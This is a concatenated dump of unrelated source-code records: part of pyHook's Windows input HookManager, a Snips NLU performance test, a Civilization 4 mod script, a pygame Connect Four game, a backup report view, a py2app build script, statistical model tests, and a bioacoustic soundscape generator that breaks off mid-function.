self.SubscribeMouseAllButtonsDown(func)\r\n self. SubscribeMouseAllButtonsUp(func)\r\n self.SubscribeMouseAllButtonsDbl(func)\r\n\r\n def SubscribeMouseAllButtonsDown(self, func):\r\n '''\r\n Registers the given function as the callback for all mouse button down events.\r\n Use the MouseAllButtonsDown property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n self.SubscribeMouseLeftDown(func)\r\n self.SubscribeMouseRightDown(func)\r\n self.SubscribeMouseMiddleDown(func)\r\n\r\n def SubscribeMouseAllButtonsUp(self, func):\r\n '''\r\n Registers the given function as the callback for all mouse button up events.\r\n Use the MouseAllButtonsUp property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n self.SubscribeMouseLeftUp(func)\r\n self.SubscribeMouseRightUp(func)\r\n self.SubscribeMouseMiddleUp(func)\r\n\r\n def SubscribeMouseAllButtonsDbl(self, func):\r\n '''\r\n Registers the given function as the callback for all mouse button double click\r\n events. Use the MouseAllButtonsDbl property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n self.SubscribeMouseLeftDbl(func)\r\n self.SubscribeMouseRightDbl(func)\r\n self.SubscribeMouseMiddleDbl(func)\r\n\r\n def SubscribeKeyDown(self, func):\r\n '''\r\n Registers the given function as the callback for this keyboard event type.\r\n Use the KeyDown property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.keyboard_funcs, HookConstants.WM_KEYDOWN)\r\n self.disconnect(self.keyboard_funcs, HookConstants.WM_SYSKEYDOWN)\r\n else:\r\n self.connect(self.keyboard_funcs, HookConstants.WM_KEYDOWN, func)\r\n self.connect(self.keyboard_funcs, HookConstants.WM_SYSKEYDOWN, func)\r\n\r\n def SubscribeKeyUp(self, func):\r\n '''\r\n Registers the given function as the callback for this keyboard event type.\r\n Use the KeyUp property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.keyboard_funcs, HookConstants.WM_KEYUP)\r\n self.disconnect(self.keyboard_funcs, HookConstants.WM_SYSKEYUP)\r\n else:\r\n self.connect(self.keyboard_funcs, HookConstants.WM_KEYUP, func)\r\n self.connect(self.keyboard_funcs, HookConstants.WM_SYSKEYUP, func)\r\n\r\n def SubscribeKeyChar(self, func):\r\n '''\r\n Registers the given function as the callback for this keyboard event type.\r\n Use the KeyChar property as a shortcut.\r\n\r\n B{Note}: this is currently non-functional, no WM_*CHAR messages are\r\n processed by the keyboard hook.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n if func is None:\r\n self.disconnect(self.keyboard_funcs, HookConstants.WM_CHAR)\r\n self.disconnect(self.keyboard_funcs, HookConstants.WM_DEADCHAR)\r\n self.disconnect(self.keyboard_funcs, HookConstants.WM_SYSCHAR)\r\n self.disconnect(self.keyboard_funcs, HookConstants.WM_SYSDEADCHAR)\r\n else:\r\n self.connect(self.keyboard_funcs, HookConstants.WM_CHAR, func)\r\n self.connect(self.keyboard_funcs, HookConstants.WM_DEADCHAR, func)\r\n self.connect(self.keyboard_funcs, HookConstants.WM_SYSCHAR, func)\r\n self.connect(self.keyboard_funcs, HookConstants.WM_SYSDEADCHAR, func)\r\n\r\n def SubscribeKeyAll(self, func):\r\n '''\r\n Registers the given function as the callback for all keyboard events.\r\n Use the KeyAll property as a shortcut.\r\n\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n self.SubscribeKeyDown(func)\r\n self.SubscribeKeyUp(func)\r\n self.SubscribeKeyChar(func)\r\n\r\n MouseAll = property(fset=SubscribeMouseAll)\r\n MouseAllButtons = property(fset=SubscribeMouseAllButtons)\r\n MouseAllButtonsUp = property(fset=SubscribeMouseAllButtonsUp)\r\n MouseAllButtonsDown = property(fset=SubscribeMouseAllButtonsDown)\r\n MouseAllButtonsDbl = property(fset=SubscribeMouseAllButtonsDbl)\r\n\r\n MouseWheel = property(fset=SubscribeMouseWheel)\r\n MouseMove = property(fset=SubscribeMouseMove)\r\n MouseLeftUp = property(fset=SubscribeMouseLeftUp)\r\n MouseLeftDown = property(fset=SubscribeMouseLeftDown)\r\n MouseLeftDbl = property(fset=SubscribeMouseLeftDbl)\r\n MouseRightUp = property(fset=SubscribeMouseRightUp)\r\n MouseRightDown = property(fset=SubscribeMouseRightDown)\r\n MouseRightDbl = property(fset=SubscribeMouseRightDbl)\r\n MouseMiddleUp = property(fset=SubscribeMouseMiddleUp)\r\n MouseMiddleDown = property(fset=SubscribeMouseMiddleDown)\r\n MouseMiddleDbl = property(fset=SubscribeMouseMiddleDbl)\r\n\r\n KeyUp = property(fset=SubscribeKeyUp)\r\n KeyDown = property(fset=SubscribeKeyDown)\r\n KeyChar = property(fset=SubscribeKeyChar)\r\n KeyAll = property(fset=SubscribeKeyAll)\r\n\r\n def connect(self, switch, id, func):\r\n '''\r\n Registers a callback to the given function for the event with the given ID in the\r\n provided dictionary. Internal use only.\r\n\r\n @param switch: Collection of callbacks\r\n @type switch: dictionary\r\n @param id: Event type\r\n @type id: integer\r\n @param func: Callback function\r\n @type func: callable\r\n '''\r\n switch[id] = func\r\n\r\n def disconnect(self, switch, id):\r\n '''\r\n Unregisters a callback for the event with the given ID in the provided dictionary.\r\n Internal use only.\r\n\r\n @param switch: Collection of callbacks\r\n @type switch: dictionary\r\n @param id: Event type\r\n @type id: integer\r\n '''\r\n try:\r\n del switch[id]\r\n except:\r\n pass","sub_path":"p27/pyHook-1.5.1/build/lib.win32-2.7/pyHook/HookManager.py","file_name":"HookManager.py","file_ext":"py","file_size_in_byte":23787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"109133359","text":"# coding=utf-8\nfrom __future__ import unicode_literals, print_function\n\nimport unittest\n\nfrom future.utils import iteritems\nfrom snips_nlu_metrics import (compute_cross_val_metrics,\n compute_cross_val_nlu_metrics)\nfrom snips_nlu_rust.nlu_engine import NLUEngine as InferenceEngine\n\nfrom snips_nlu.constants import LANGUAGE_EN\nfrom snips_nlu.nlu_engine.nlu_engine import SnipsNLUEngine as TrainingEngine\nfrom snips_nlu.tests.utils import PERFORMANCE_DATASET_PATH, SnipsTest\nfrom snips_nlu.tokenization import tokenize_light\n\nINTENT_CLASSIFICATION_THRESHOLD = 0.8\nSLOT_FILLING_THRESHOLD = 0.6\n\nSKIPPED_DATE_PREFIXES = {\"at\", \"in\", \"for\", \"on\"}\n\n\nclass IntegrationTestSnipsNLUEngine(SnipsTest):\n def test_pure_python_engine_performance(self):\n # Given\n dataset_path = PERFORMANCE_DATASET_PATH\n\n # When\n results = compute_cross_val_metrics(\n dataset_path,\n engine_class=TrainingEngine,\n nb_folds=5,\n train_size_ratio=1.0,\n slot_matching_lambda=_slot_matching_lambda,\n progression_handler=None)\n\n # Then\n self.check_metrics(results)\n\n def test_python_rust_engine_performance(self):\n # Given\n dataset_path = PERFORMANCE_DATASET_PATH\n\n # When\n results = compute_cross_val_nlu_metrics(\n dataset_path,\n training_engine_class=TrainingEngine,\n inference_engine_class=InferenceEngine,\n nb_folds=5,\n train_size_ratio=1.0,\n slot_matching_lambda=None,\n progression_handler=None)\n\n # Then\n self.check_metrics(results)\n\n def check_metrics(self, results):\n for intent_name, intent_metrics in iteritems(results[\"metrics\"]):\n if intent_name is None or intent_name == \"null\":\n continue\n classification_precision = intent_metrics[\"intent\"][\"precision\"]\n classification_recall = intent_metrics[\"intent\"][\"recall\"]\n self.assertGreaterEqual(\n classification_precision, INTENT_CLASSIFICATION_THRESHOLD,\n \"Intent classification precision is too low (%.3f) for intent \"\n \"'%s'\" % (classification_precision, intent_name))\n self.assertGreaterEqual(\n classification_recall, INTENT_CLASSIFICATION_THRESHOLD,\n \"Intent classification recall is too low (%.3f) for intent \"\n \"'%s'\" % (classification_recall, intent_name))\n for slot_name, slot_metrics in iteritems(intent_metrics[\"slots\"]):\n precision = slot_metrics[\"precision\"]\n recall = slot_metrics[\"recall\"]\n self.assertGreaterEqual(\n precision, SLOT_FILLING_THRESHOLD,\n \"Slot precision is too low (%.3f) for slot '%s' of intent \"\n \"'%s'\" % (precision, slot_name, intent_name))\n self.assertGreaterEqual(\n recall, SLOT_FILLING_THRESHOLD,\n \"Slot recall is too low (%.3f) for slot '%s' of intent \"\n \"'%s'\" % (recall, slot_name, intent_name))\n\n\ndef _slot_matching_lambda(lhs_slot, rhs_slot):\n lhs_value = lhs_slot[\"text\"]\n rhs_value = rhs_slot[\"rawValue\"]\n if lhs_slot[\"entity\"] != \"snips/datetime\":\n return lhs_value == rhs_value\n else:\n # Allow fuzzy matching when comparing datetimes\n lhs_tokens = tokenize_light(lhs_value, LANGUAGE_EN)\n rhs_tokens = tokenize_light(rhs_value, LANGUAGE_EN)\n if lhs_tokens and lhs_tokens[0].lower() in SKIPPED_DATE_PREFIXES:\n lhs_tokens = lhs_tokens[1:]\n if rhs_tokens and rhs_tokens[0].lower() in SKIPPED_DATE_PREFIXES:\n rhs_tokens = rhs_tokens[1:]\n return lhs_tokens == rhs_tokens\n","sub_path":"snips_nlu/tests/integration_test.py","file_name":"integration_test.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"565065348","text":"## Sid Meier's Civilization 4\r\n## Copyright Firaxis Games 2005\r\n##\r\n## Platyping's The Motherland Calls\r\n## Converted by Vokarya\r\n\r\nfrom CvPythonExtensions import *\r\n\r\n# globals\r\nGC = CyGlobalContext()\r\n\r\n###################################################\r\n\r\ndef onChangeWar(argsList):\r\n\tbIsWar, iAttacker, iDefender = argsList # iAttacker & iDefender are Teams not Players.\r\n\t# The Motherland Calls\r\n\tif bIsWar:\r\n\t\tiBuilding = GC.getInfoTypeForString(\"BUILDING_THE_MOTHERLAND_CALLS\")\r\n\t\tfor iPlayerX in xrange(GC.getMAX_PC_PLAYERS()):\r\n\t\t\tCyPlayerX = GC.getPlayer(iPlayerX)\r\n\t\t\tif CyPlayerX.getTeam() != iDefender:\r\n\t\t\t\tcontinue\r\n\t\t\tif CyPlayerX.countNumBuildings(iBuilding):\r\n\t\t\t\tCyCity, i = CyPlayerX.firstCity(False)\r\n\t\t\t\twhile CyCity:\r\n\t\t\t\t\tCyCity.changeHappinessTimer(10)\r\n\t\t\t\t\tCyUnit = CyPlayerX.initUnit(CyCity.getConscriptUnit(), CyCity.getX(), CyCity.getY(), UnitAITypes.NO_UNITAI, DirectionTypes.NO_DIRECTION)\r\n\t\t\t\t\tCyCity.addProductionExperience(CyUnit, True)\r\n\t\t\t\t\tCyCity, i = CyPlayerX.nextCity(i, False)\r\n\t\t\t\tbreak","sub_path":"Assets/Python/Platyping/TheMotherlandCalls.py","file_name":"TheMotherlandCalls.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"373271391","text":"import os\nfrom game import GameBoard\nfrom player import AIPlayer\nfrom player import Person\nimport sys\nimport pygame\n\ngameBoard = GameBoard()\n\n# ----------- py game\npygame.init()\nSCREEN_WIDTH = 800\nSCREEN_HEIGHT = 600\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\ncycleRadius = int(((SCREEN_HEIGHT - SCREEN_HEIGHT / 6) / len(gameBoard.game_map)) / 2)\narrow = pygame.image.load(os.path.join(\"images\", \"arrow.png\")).convert()\narrow = pygame.transform.scale(arrow, (cycleRadius * 2, cycleRadius * 2))\narrowRed = pygame.image.load(os.path.join(\"images\", \"arrow-red.png\")).convert()\narrowRed = pygame.transform.scale(arrowRed, (cycleRadius * 2, cycleRadius * 2))\narrowBlue = pygame.image.load(os.path.join(\"images\", \"arrow-blue.png\")).convert()\narrowBlue = pygame.transform.scale(arrowBlue, (cycleRadius * 2, cycleRadius * 2))\n\narrowsColor = [0] * len(gameBoard.game_map[0])\n\nmyFont = pygame.font.SysFont(\"monospace\", 75)\n\n\ndef refresh_screen():\n screen.fill((80, 80, 80))\n for column in range(len(gameBoard.game_map[0])):\n if arrowsColor[column] == 0:\n screen.blit(arrow, (cycleRadius * column * 2, 10))\n elif arrowsColor[column] == 1:\n screen.blit(arrowBlue, (cycleRadius * column * 2, 10))\n else:\n screen.blit(arrowRed, (cycleRadius * column * 2, 10))\n y = int(cycleRadius + SCREEN_HEIGHT / 6)\n for row in gameBoard.game_map:\n x = int(cycleRadius)\n for a in row:\n if a == 0:\n pygame.draw.circle(screen, (100, 100, 100), (x, y), cycleRadius - 10)\n elif a == 1:\n pygame.draw.circle(screen, (100, 100, 255), (x, y), cycleRadius - 10)\n else:\n pygame.draw.circle(screen, (255, 100, 100), (x, y), cycleRadius - 10)\n\n x += 2 * cycleRadius\n y += 2 * cycleRadius\n\n pygame.display.flip()\n\n\n# -----------\nplayer1 = Person(\"player 1\", 1)\nplayer2 = AIPlayer(\"AI player\", 2)\n\ncurrentPlayer = player2\n\nrefresh_screen()\ndroppedCount = 0\nallSlots = len(gameBoard.game_map) * len(gameBoard.game_map[0])\nwhile droppedCount != allSlots:\n dropped = False\n if type(currentPlayer) == Person:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n if event.type == pygame.MOUSEMOTION:\n posX = event.pos[0]\n if posX < len(gameBoard.game_map[0]) * cycleRadius * 2:\n arrowNum = int(posX / (cycleRadius * 2))\n for i in range(len(arrowsColor)):\n if arrowNum != i:\n arrowsColor[i] = 0\n else:\n arrowsColor[i] = currentPlayer.number\n else:\n arrowsColor = [0] * len(gameBoard.game_map[0])\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n clickX = event.pos[0]\n if clickX < len(gameBoard.game_map[0]) * cycleRadius * 2:\n try:\n colInput = int(clickX / (cycleRadius * 2))\n gameBoard.drop_piece(currentPlayer.number, colInput)\n arrowsColor = [0] * len(gameBoard.game_map[0])\n dropped = True\n except Exception as exception:\n print(exception)\n\n else: # currentPlayer == AIPlayer\n col = currentPlayer.get_drop_input(gameBoard.game_map)\n gameBoard.drop_piece(currentPlayer.number, col)\n dropped = True\n\n refresh_screen()\n\n if dropped:\n if gameBoard.check_win(currentPlayer.number):\n break\n if currentPlayer == player1:\n currentPlayer = player2\n else:\n currentPlayer = player1\n droppedCount += 1\n\nif droppedCount == allSlots:\n label = myFont.render(\"Game draw\", 1, (255, 255, 255))\nelif currentPlayer == player1:\n label = myFont.render(\"Player 1 won !!\", 1, (100, 100, 255))\nelse:\n label = myFont.render(\"Player 2 won !!\", 1, (255, 100, 100))\n\nscreen.blit(label, (40, 10))\npygame.display.update()\npygame.time.wait(2000)\ngameBoard.print_map()\nprint(\"GG WP winner : {}\".format(currentPlayer.name))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"233394752","text":"# -*- coding: utf-8 -*-\n# ---------------------------------------------------------------------\n# Backups Report\n# ---------------------------------------------------------------------\n# Copyright (C) 2007-2010 The NOC Project\n# See LICENSE for details\n# ---------------------------------------------------------------------\nfrom noc.lib.app.simplereport import SimpleReport,Report\nfrom noc.config import config\nimport os,datetime,stat\nfrom noc.core.translation import ugettext as _\n#\n#\n#\nclass ReportBackups(SimpleReport):\n title = _(\"Backup Status\")\n def get_data(self,**kwargs):\n data=[]\n bd=config.path.backup_dir\n if os.path.isdir(bd):\n r=[]\n for f in [f for f in os.listdir(bd) if f.startswith(\"noc-\") and (f.endswith(\".dump\") or f.endswith(\".tar.gz\"))]:\n s=os.stat(os.path.join(bd,f))\n r.append([f,datetime.datetime.fromtimestamp(s[stat.ST_MTIME]),s[stat.ST_SIZE]])\n data=sorted(r,lambda x,y:cmp(x[1],y[1]))\n return self.from_dataset(title=self.title,columns=[\"File\",\"Size\"],data=data)\n","sub_path":"services/web/apps/main/reportbackups/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"601341607","text":"#!/usr/bin/env python3.6\n# -*- coding: utf-8 -*-\nimport sys\nfrom parser.patterns import JAV_CODE_PREFIX\n\njav_codes = set(JAV_CODE_PREFIX.split('|'))\n\nif __name__ == '__main__':\n with open(sys.argv[1]) as input:\n names = {}\n for line in input:\n name, code = line.strip().split(',')\n if not (code.isupper() or code.islower()):\n continue\n code = code[1:-1].lower()\n if code in jav_codes:\n continue\n\n if code not in names:\n names[code] = set()\n\n names[code].add(name.lower())\n\n for k, v in sorted(names.items(), key=lambda x: len(x[1]), reverse=True):\n print(k, v)","sub_path":"tools/codes.py","file_name":"codes.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"246473291","text":"\"\"\"\narch -i386 python setup_app.py py2app --no-strip\n\n\"\"\"\n\nfrom setuptools import setup\nimport os, subprocess, getpass\n\n\n\n\napp = 'esonoclaste'\nAPP = [app+'.py']\nDATA_FILES = []\nOPTIONS = {\n'argv_emulation': True,\n\"includes\": ['PyQt4._qt'],\n}\n\n\nsetup(\n\tapp=APP,\n\tdata_files=DATA_FILES,\n\toptions={'py2app': OPTIONS},\n\tsetup_requires=['py2app'],\n\t)\n\n### POST BUILD\n#if os.path.isfile('dist/'+app+'.dmg'):\n#\tos.remove('dist/'+app+'.dmg')\nimport time, datetime, shutil\n\ncontents = 'dist/esonoclaste.app/Contents/'\nframe = contents+'Frameworks/'\nres = contents+'Resources/'\nlib = res+'lib/python2.7/'\n\nos.remove(frame+'QtCore.framework/Versions/4/QtCore_debug')\nos.remove(frame+'QtGui.framework/Versions/4/QtGui_debug')\nshutil.rmtree(lib+'email')\nshutil.rmtree(lib+'numpy')\n\n\nversion = time.ctime().replace(' ','').replace(':','_')\nversion = datetime.datetime.now().strftime(\"%Y_%m_%d_%Hh%Mm%Ss\")\n\n# esonoplayer\nos.system(\"cp -r /data/of80/apps/myApps/esonoplayer/bin/esonoplayer.app /data/git/esonoclaste/dist/esonoclaste.app/Contents/Resources/\")\n\n# esonoclaste\ndmgname = 'dist/'+app+'_'+version+'.dmg'\nos.system('hdiutil create -ov '+dmgname+' -srcfolder dist/'+app+'.app')\nos.system('cp '+dmgname+' /data/vrxwwwnodejs/public/soft/')\n# -ov : overwrite\n\n\n","sub_path":"setup_app.py","file_name":"setup_app.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"147900171","text":"from PIL import Image, ImageDraw\n\nHEIGHT = 540\nWIDTH = 960\n\nfname = \"DS6.txt\"\n\n\ndef drawDots(bg=\"black\"):\n Ds6_image = Image.new(\"RGB\", (WIDTH, HEIGHT), bg)\n draw = ImageDraw.Draw(Ds6_image)\n InputStream = open(fname, \"r\")\n if InputStream is None:\n print(\"Error occurred while opening dataset\")\n exit(-1)\n coords = InputStream.readline()\n while coords is not None:\n try:\n coords = coords.split(\" \")\n if len(coords) < 1 or coords[0] is None or coords[1] is None:\n break\n draw.point((int(coords[1]), HEIGHT - int(coords[0])))\n coords = InputStream.readline()\n except IndexError:\n break\n\n return Ds6_image\n\n\nif __name__ == '__main__':\n img = drawDots()\n img.save(\"DS6.png\")\n","sub_path":"Labs/Python Labs/Lab2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"46954755","text":"\"\"\"\n定义一个XuZhu类,继承于童姥。\n虚竹宅心仁厚不想打架。所以虚竹只有一个read(念经)的方法。\n每次调用都会打印“罪过罪过”\n\"\"\"\nfrom personalhomework_python01.homework02_ClassAndOop.TongLao import TongLao\n\n\nclass XuZhu(TongLao):\n def read(self):\n print(\"罪过罪过\")\n\n\nif __name__ == \"__main__\":\n a = XuZhu(2000, 400)\n a.read()","sub_path":"personalhomework_python01/homework02_ClassAndOop/XuZhu.py","file_name":"XuZhu.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"97548618","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.12-x86_64/egg/dicom_tools/connectedThreshold.py\n# Compiled at: 2018-09-14 08:53:17\n# Size of source mod 2**32: 886 bytes\nimport SimpleITK as sitk, numpy as np, ctypes\n\ndef to_uint32(i):\n return ctypes.c_uint32(i).value\n\n\ndef connectedThreshold(img, seedCoordinates, lowerThreshold, upperThreshold):\n imgOriginal = img\n convertOutput = False\n if type(img) != sitk.SimpleITK.Image:\n imgOriginal = sitk.GetImageFromArray(img)\n convertOutput = True\n lstSeeds = [\n (\n to_uint32(int(seedCoordinates[1])), to_uint32(int(seedCoordinates[0])))]\n labelWhiteMatter = 1\n imgWhiteMatter = sitk.ConnectedThreshold(image1=imgOriginal, seedList=lstSeeds, lower=lowerThreshold, upper=upperThreshold, replaceValue=labelWhiteMatter)\n if convertOutput:\n imgWhiteMatter = sitk.GetArrayFromImage(imgWhiteMatter)\n return imgWhiteMatter","sub_path":"pycfiles/dicom_tools-2.5-py3.7/connectedThreshold.cpython-37.py","file_name":"connectedThreshold.cpython-37.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"513842165","text":"from __future__ import division\n\nimport pytest\nfrom numpy import arange, inf, nan, ones, sqrt, zeros\nfrom numpy.random import RandomState\nfrom numpy.testing import assert_, assert_allclose\n\nfrom glimix_core.cov import EyeCov, LinearCov, SumCov\nfrom glimix_core.lik import DeltaProdLik\nfrom glimix_core.lmm import LMM\nfrom glimix_core.lmm.core import LMMCore\nfrom glimix_core.mean import OffsetMean\nfrom glimix_core.random import GGPSampler\nfrom numpy_sugar.linalg import economic_qs_linear\n\n\ndef test_lmm_fix_unfix():\n random = RandomState(9458)\n n = 30\n X = _covariates_sample(random, n, n + 1)\n\n offset = 1.0\n\n y = _outcome_sample(random, offset, X)\n\n QS = economic_qs_linear(X)\n\n lmm = LMM(y, ones((n, 1)), QS)\n\n assert_(not lmm.isfixed('delta'))\n lmm.fix('delta')\n assert_(lmm.isfixed('delta'))\n\n assert_(not lmm.isfixed('scale'))\n lmm.fix('scale')\n assert_(lmm.isfixed('scale'))\n\n lmm.scale = 1.0\n lmm.delta = 0.5\n\n lmm.fit(verbose=False)\n\n assert_allclose(lmm.beta[0], 0.7065598068496923)\n assert_allclose(lmm.scale, 1.0)\n assert_allclose(lmm.delta, 0.5)\n assert_allclose(lmm.v0, 0.5)\n assert_allclose(lmm.v1, 0.5)\n assert_allclose(lmm.lml(), -57.56642490856645)\n\n lmm.unfix('scale')\n lmm.fit(verbose=False)\n\n assert_allclose(lmm.beta[0], 0.7065598068496923)\n assert_allclose(lmm.v0, 1.060029052117017)\n assert_allclose(lmm.v1, 1.060029052117017)\n assert_allclose(lmm.lml(), -52.037205784544476)\n\n lmm.unfix('delta')\n lmm.fit(verbose=False)\n\n assert_allclose(lmm.beta[0], 0.7065598068496922, rtol=1e-5)\n assert_allclose(lmm.v0, 0.5667112269084563, rtol=1e-5)\n assert_allclose(lmm.v1, 1.3679269553495002, rtol=1e-5)\n assert_allclose(lmm.lml(), -51.84396136865774, rtol=1e-5)\n\n with pytest.raises(ValueError):\n lmm.fix('deltaa')\n\n with pytest.raises(ValueError):\n lmm.isfixed('deltaa')\n\n\ndef test_lmm_unique_outcome():\n random = RandomState(9458)\n N = 5\n X = random.randn(N, N + 1)\n X -= X.mean(0)\n X /= X.std(0)\n X /= sqrt(X.shape[1])\n\n QS = economic_qs_linear(X)\n\n lmm = LMM(zeros(N), ones((N, 1)), QS)\n\n lmm.fit(verbose=False)\n\n assert_allclose(lmm.beta[0], 0, atol=1e-5)\n assert_allclose(lmm.v0, 0, atol=1e-5)\n assert_allclose(lmm.v1, 0, atol=1e-5)\n\n\ndef test_lmm_nonfinite_outcome():\n random = RandomState(9458)\n N = 5\n QS = economic_qs_linear(random.randn(N, N + 1))\n y = zeros(N)\n\n y[0] = nan\n with pytest.raises(ValueError):\n LMM(y, ones((N, 1)), QS)\n\n y[0] = -inf\n with pytest.raises(ValueError):\n LMM(y, ones((N, 1)), QS)\n\n y[0] = +inf\n with pytest.raises(ValueError):\n LMM(y, ones((N, 1)), QS)\n\n\ndef test_lmm_lmmcore_interface():\n random = RandomState(9458)\n N = 5\n QS = economic_qs_linear(random.randn(N, N + 1))\n y = zeros(N)\n\n lmmc = LMMCore(y, ones((N, 1)), QS)\n with pytest.raises(NotImplementedError):\n print(lmmc.delta)\n\n with pytest.raises(NotImplementedError):\n lmmc.delta = 1\n\n\ndef test_lmm_redundant_covariates_fullrank():\n random = RandomState(9458)\n n = 30\n X = _covariates_sample(random, n, n + 1)\n\n offset = 1.0\n\n y = _outcome_sample(random, offset, X)\n\n QS = economic_qs_linear(X)\n\n lmm = LMM(y, ones((n, 1)), QS)\n lmm.fit(verbose=False)\n\n assert_allclose(lmm.scale, 1.93463817155, rtol=1e-5)\n assert_allclose(lmm.delta, 0.707071227475, rtol=1e-5)\n assert_allclose(lmm.beta, 0.70655980685, rtol=1e-5)\n\n M = ones((n, 10))\n lmm = LMM(y, M, QS)\n lmm.fit(verbose=False)\n\n assert_allclose(lmm.scale, 1.93463817155, rtol=1e-5)\n assert_allclose(lmm.delta, 0.707071227475, rtol=1e-5)\n assert_allclose(lmm.beta, 0.070655980685, rtol=1e-5)\n\n\ndef test_lmm_redundant_covariates_lowrank():\n random = RandomState(9458)\n n = 30\n X = _covariates_sample(random, n, n - 1)\n\n offset = 1.0\n\n y = _outcome_sample(random, offset, X)\n\n QS = economic_qs_linear(X)\n\n lmm = LMM(y, ones((n, 1)), QS)\n lmm.fit(verbose=False)\n\n assert_allclose(lmm.scale, 2.97311575698, rtol=1e-5)\n assert_allclose(lmm.delta, 0.693584745932, rtol=1e-5)\n assert_allclose(lmm.beta, 0.932326853301, rtol=1e-5)\n\n M = ones((n, 10))\n lmm = LMM(y, M, QS)\n lmm.fit(verbose=False)\n\n assert_allclose(lmm.scale, 2.97311575698, rtol=1e-5)\n assert_allclose(lmm.delta, 0.693584745932, rtol=1e-5)\n assert_allclose(lmm.beta, 0.0932326853301, rtol=1e-5)\n\n\ndef _outcome_sample(random, offset, X):\n n = X.shape[0]\n mean = OffsetMean()\n mean.offset = offset\n mean.set_data(arange(n), purpose='sample')\n\n cov_left = LinearCov()\n cov_left.scale = 1.5\n cov_left.set_data((X, X), purpose='sample')\n\n cov_right = EyeCov()\n cov_right.scale = 1.5\n cov_right.set_data((arange(n), arange(n)), purpose='sample')\n\n cov = SumCov([cov_left, cov_right])\n\n lik = DeltaProdLik()\n\n return GGPSampler(lik, mean, cov).sample(random)\n\n\ndef _covariates_sample(random, n, p):\n X = random.randn(n, p)\n X -= X.mean(0)\n X /= X.std(0)\n X /= sqrt(X.shape[1])\n return X\n","sub_path":"glimix_core/lmm/test/test_lmm.py","file_name":"test_lmm.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"322863489","text":"import scaper\nimport numpy as np\nimport os\nimport random\nfrom datetime import datetime\nimport jams\nimport pandas as pd\n\nfrom multiprocessing import cpu_count\nfrom concurrent.futures import ProcessPoolExecutor\nfrom concurrent.futures import as_completed\n\n# Build data for a single scapered file.\n# Choose start times ensuring separation between calls (rat barks don't overlap)\n# output dictionary of data for reference to build scapes and annotation csvs from\n\ndef build_scapeData(barks_df, curr_scape, max_calls_per_file, scape_dur, basename): #call_list without probs yet, n = max calls/file\n \n num_barks = random.randint(1,max_calls_per_file) #choose how many barks in this file\n \n sources = [None]* num_barks\n starts = [None]*num_barks\n ends = [None]* num_barks\n low_fs = [None]* num_barks\n high_fs = [None]* num_barks\n \n for i in range(num_barks):\n t = round(random.uniform(0,scape_dur-.1), 3) #start time in file\n b = barks_df.sample() #grab a random bark source file\n\n sources[i] = b['Source File'].iloc[0]\n starts[i] = t\n ends[i] = round(t + b['Length'].iloc[0],3)\n low_fs[i] = b['Low Freq'].iloc[0]\n high_fs[i] = b['High Freq'].iloc[0]\n \n if ends[i] > scape_dur: #make sure end time is correct on edge case\n ends[i] = scape_dur\n \n# scapedeets = pd.Series([sources, starts, ends, low_fs, high_fs])\n thisscape = {'Source Files' : sources,\n 'Scape Name' : f'{basename}_scape{curr_scape}',\n 'Start Times' : starts,\n 'End Times' : ends,\n 'Low Freqs' : low_fs,\n 'High Freqs' : high_fs\n }\n return(thisscape)\n\n\n# build a scape and corresponding csv as described by the dictionary thisscape in the following format:\n# thisscape = dict with boxing and file info for vocalizations to include. curr = which scape. outfile = path/to/filename\n\ndef build_scape(thisscape, outdir, scape_dur, sourcedir, bg_label, fg_label, junk_label):\n # print(thisscape)\n \n sc = scaper.Scaper(scape_dur, f\"{sourcedir}/foreground\", f\"{sourcedir}/background\")\n sc.ref_db = -52 #TODO\n\n fname = thisscape['Scape Name']\n audiofile = f\"{outdir}/{fname}.wav\"\n jamsfile = f\"{outdir}/{fname}.jams\"\n \n # print(f\"fname: {fname}, audiofile: {audiofile}, jamsfile: {jamsfile}\")\n \n sc.add_background(label = (\"const\", bg_label),\n source_file = (\"choose\", []),\n source_time = (\"uniform\", 0, 60-scape_dur)) # background files are 1min long for rats as of 2019/05/08.\n\n for i 